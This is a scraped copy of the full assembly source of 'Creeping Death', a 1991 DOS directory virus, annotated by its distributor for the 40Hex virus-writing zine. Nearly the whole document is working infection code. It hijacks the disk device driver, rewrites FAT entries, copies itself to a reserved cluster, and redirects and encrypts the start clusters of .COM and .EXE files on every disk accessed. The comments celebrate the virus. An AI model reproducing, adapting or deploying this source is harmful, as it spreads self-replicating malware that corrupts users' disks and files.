Sie sind auf Seite 1von 10

; dark angel's comments: i spent my entire waking hours looking at this virus.

; i love it. it is my life. i worship the drive it


; infects. take a look at it. let not my troubles be
; in vain. why did i do this? i sacrifice my life for
; the benefit of 40hex. if you don't read this, i'm
; gonna go join [nuke].

; creeping death v 1.0


;
; (c) copyright 1991 by virussoft corp.

i13org = 5f8h
i21org = 5fch

dir_2 segment byte public


assume cs:dir_2, ds:dir_2

org 100h

start:
mov sp,600h ; set up the stack pointer
inc word ptr counter ; generation counter
xor cx,cx
mov ds,cx ; ds points to interrupt table
lds ax, ds:[0c1h] ; find interrupt 30h
add ax,21h ; change it to int 21h
push ds ; save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; get dos version
call jump
cmp al,4 ; dos 4.x+ : si = 0
sbb si,si ; dos 2/3 : si = -1
mov byte ptr [drive+2],byte ptr -1 ; initialise last drive to
; "never accessed"
mov bx,60h ; adjust memory in es to
mov ah,4ah ; bx paragraphs.
call jump

mov ah,52h ; get dos list of lists


call jump ; to es:bx
push es:[bx-2] ; save segment of first mcb
lds bx,es:[bx] ; ds:bx -> 1st dpb
; (drive parameter block)
search: mov ax,[bx+si+15h] ; get segment of device driver
cmp ax,70h ; is it config? (i think)
jne next ; if not, try again
xchg ax,cx ; move driver segment to cx
mov [bx+si+18h],byte ptr -1 ; flag block must be rebuilt
mov di,[bx+si+13h] ; save offset of device driver
; original device driver
; address in cx:di
mov [bx+si+13h],offset header ; replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; get next device block
cmp bx,-1 ; is it the last one?
jne search ; if not, search it
jcxz install
pop ds ; restore segment of first
mov ax,ds ; mcb
add ax,ds:[3] ; go to next mcb
inc ax ; ax = segment next mcb
mov dx,cs ; dx = mcb owning current
dec dx ; program
cmp ax,dx ; are these the same?
jne no_boot ; if not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; increase length owned by
; mcb by 1552 bytes
no_boot: mov ds,dx ; ds = mcb owning current
; program
mov word ptr ds:[1],8 ; set owner = dos

mov ds,cx ; ds = segment of original


; device driver
les ax,[di+6] ; es = offset int handler
; ax = offset strategy entry
mov word ptr cs:str_block,ax ; save entry point
mov word ptr cs:int_block,es ; and int block for use in
; function _in
cld ; scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; this is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw

mov dx,0c000h ; scan for hard disk rom


; start search @ segment c000h
fdsk1: mov ds,dx ; load up the segment
xor si,si ; atart at offset 0000h
lodsw ; scan for the signature
cmp ax,0aa55h ; is it the signature?
jne fdsk4 ; if not, change segment
cbw ; clear ah
lodsb ; load a byte to al
mov cl,9
sal ax,cl ; shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr

install: int 20h


file: db "c:",255,0
fdsk3: inc si ; increment search offset
cmp si,ax ; if we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; increment search segment
cmp dh,0f0h ; if we are not in high
jb fdsk1 ; memory, try again

sub sp,4 ; effectively push dummy vars.


death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; get environment from psp
mov es,bx
mov ah,49h ; release it (to save memory)
call jump
xor ax,ax
test bx,bx ; is bx = 0?
jz boot ; if so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; si points to filename
jmp short exec ; (in dos 3.x+)
; execute that file
boot: mov es,ds:[16h] ; get psp of parent
mov bx,es:[16h] ; get psp of parent
dec bx ; go to its mcb
xor si,si
exec: push bx
mov bx,offset param ; set up parameter block
; for exec function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st fcb
mov [bx+12],cs ; segment to 2nd fcb
pop ds
push cs
pop es

mov di,offset f_name


push di ; save filename offset
mov cx,40 ; copy the filename to
rep movsw ; the buffer
push cs
pop ds

mov ah,3dh ; handle open file


mov dx,offset file ; "c:?",0
call jump
pop dx ; ds:dx -> filename

mov ax,4b00h ; load and execute


call jump ; es:bx = param block
mov ah,4dh ; get errorlevel
call jump
mov ah,4ch ; terminate

jump: pushf ; simulate an interrupt 21h


call dword ptr cs:[i21org]
ret

;--------installation complete

i13pr: mov ah,3 ; write al sectors from es:bx


jmp dword ptr cs:[i13org] ; to track ch, sector cl,
; head dh, drive dl

main: push ax ; driver


push cx ; strategy block
push dx
push ds
push si
push di

push es ; move segment of parameter


pop ds ; block to ds
mov al,[bx+2] ; [bx+2] holds command code

cmp al,4 ; input (read)


je input
cmp al,8 ; output (write)
je output
cmp al,9 ; output (write) with verify
je output

call in_ ; call original device


cmp al,2 ; request build bpb
jne ppp ; if none of the above, exit
lds si,[bx+12h] ; ds:si point to bpb table
mov di,offset bpb_buf ; replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; bpb table
push es ; save segment of parameters
push cs
pop es
mov cx,16 ; copy the old bpb table to
rep movsw ; our own
pop es ; restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; al = sectors per allocation
cmp al,2 ; unit. if less than
adc al,0 ; 2, increment
cbw ; extend sign to ah (clear ah)
cmp word ptr [di+8-32],0 ; is total number sectors = 0?
je m32 ; if so, big partition (>32mb)
sub [di+8-32],ax ; decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; exit
m32: sub [di+15h-32],ax ; handle large partitions
sbb word ptr [di+17h-32],0

ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; we are outta here!

output: mov cx,0ff09h


call check ; is it a new disk?
jz inf_sec ; if not, go away
call in_ ; call original device handler
jmp short inf_dsk

inf_sec: jmp _inf_sec


read: jmp _read
read_: add sp,16 ; restore the stack
jmp short ppp ; leave device driver

input: call check ; is it a new disk?


jz read ; if not, leave
inf_dsk: mov byte ptr [bx+2],4 ; set command code to read
cld
lea si,[bx+0eh] ; load from buffer address
mov cx,8 ; save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; starting sector number = 1
; (read 1st fat)
call driver ; read one sector
jnz read_ ; if error, exit
mov byte ptr [bx+2],2 ; otherwise build bpb
call in_ ; have original driver do the
; work
lds si,[bx+12h] ; ds:si points to bpb table
mov ax,[si+6] ; number root directory entries
add ax,15 ; round up
mov cl,4
shr ax,cl ; divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; di = sectors/fat
add di,di ; double for 2 fats
stc ; add one for boot record
adc di,ax ; add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; clear dx
mov ax,[si+8] ; ax = total sectors
test ax,ax ; if it is zero, then we have
jnz more ; an extended partition(>32mb)
mov ax,[si+15h] ; load dx:ax with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; calculate fat entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; cl = sectors/cluster
div cx ; ax = cluster #
cmp cl,2 ; if there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; save cluster number
call convert ; ax = sector number to read
; dx = offset in sector ax
; of fat entry
; di = mask for eof marker
mov byte ptr es:[bx+2],4 ; input (read)
mov es:[bx+14h],ax ; starting sector = ax
call driver ; one sector only
again: lds si,es:[bx+0eh] ; ds:si = buffer address
add si,dx ; go to fat entry
sub dh,cl ; calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; change the encryption value
cmp cl,1 ; if there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; load ax with offset of fat
; entry
and ax,di ; mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; tried to replicate on a bad
dec ax ; cluster. try again on a
push ax ; lower one.
call convert ; find where it is in the fat
jmp short again ; and try once more
small_: not di ; reverse mask bits
and [si],di ; clear other bits
pop ax ; ax = cluster number
push ax
inc ax ; need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; multiply by 16
mul dx
here: or [si],ax ; set cluster to next
pop ax ; restore cluster of write
call convert ; calculate buffer offset
mov si,es:[bx+0eh] ; go to fat entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; di = mask from "convert"
dec dx
and dx,di ; yerg!
not di
and [si],di
or [si],dx ; set [si] to di

cmp ax,dx ; did we change the fat?


pop ax ; i.e. are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; our own starting cluster
je _read_ ; if we didn't infect, then
; leave the routine. oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; update the fat
pop si
pop ds
jnz _read_ ; quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; byte/sector count
mov [bx+14h],ax ; starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; flag extended partition
mov [bx+1ah],ax ; handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; zopy ourselves!
; (we want to travel)
_read_: std
lea di,[bx+1ch] ; restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; call original device handler

mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; bytes/sector
lds si,es:[bx+0eh] ; ds:si = pointer to buffer
sal di,cl ; multiply by 512
; di = byte count
xor cl,cl
add di,si ; go to address in the buffer
xor dl,dl ; flag for an infection in
; function find
push ds
push si
call find ; infect the directory
jcxz no_inf
call write ; write it back to the disk
and es:[bx+4],byte ptr 07fh ; clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; flag for a decryption in
; function find
call find ; return right information to
; calling program
jmp ppp

;--------subroutines

find: mov ax,[si+8] ; check filename extension


cmp ax,"xe" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"oc"
jne go_on
cmp byte ptr [si+10],"m"
jne go_on
found: test [si+1eh],0ffc0h ; >4mb ; check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048b ; check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; if none of these, check dx
jnz rest ; if not 0, decrypt
pointer: mov ax,1234h ; mov ax, xx modified elsewhere
cmp ax,[si+1ah] ; check for same starting
; cluster number as us
je go_on ; if it is, then try another
xchg ax,[si+1ah] ; otherwise make it point to
; us.
gad: xor ax,1234h ; encrypt their starting
; cluster
mov [si+14h],ax ; and put it in area reserved
; by dos for no purpose
loop go_on ; try another file
rest: xor ax,ax ; disinfect the file
xchg ax,[si+14h] ; get starting cluster
xor ax,word ptr cs:gad+1 ; decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; change encryption and
add si,32 ; go to next file
cmp di,si ; if it is not past the end of
jne find ; the buffer, then try again
ret ; otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, xx can change.
; compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; save this call's drive
jne changed ; if not the same as last call
; media has changed
push [bx+0eh] ; if it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; restore command code
changed: ret ; cf,zf set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; if we want output, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; otherwise, request input
mov si,70h
mov ds,si ; ds = our segment
modify: mov si,1234h ; address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; call original device handler
pop [si+2]
pop [si]
ret

driver: mov word ptr es:[bx+12h],1 ; one sector


in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; call far ptr
str_block:
dw ?,70h ; address
db 09ah ; call far ptr
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; was there an error?
ret

convert: cmp ax,0ff0h ; 0fff0h if 12 bit fat


jae fat_16 ; 0ff0h = reserved cluster
mov si,3 ; 12 bit fat
xor word ptr cs:[si+gad-1],si ; change the encryption value
mul si ; multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; mark it eof (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it eof (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit fat
mul si ; double cluster #
mov di,0ffffh ; mark it as end of file
cont: mov si,512
div si ; ax = sector number
; (relative to start of fat)
; dx = offset in sector ax
header: inc ax ; increment ax to account for
ret ; boot record

counter: dw 0

dw 842h ; attribute
; block device
; dos 3 open/close removable
; media calls supported
; generic ioctl call supported
; supports 32 bit sectors
dw offset main ; strategy routine
dw offset rts ; interrupt routine (rtf)
db 7fh ; number of subunits supported
; by this driver. wow, lookit
; it -- it's so large and juicy

; parameter block format:


; 0 word segment of environment
; 2 dword pointer to command line
; 6 dword pointer to 1st default fcb
;10 dword pointer to 2nd default fcb
param: dw 0,80h,?,5ch,?,6ch,?

bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)

;--------the end.
dir_2 ends
end start

Das könnte Ihnen auch gefallen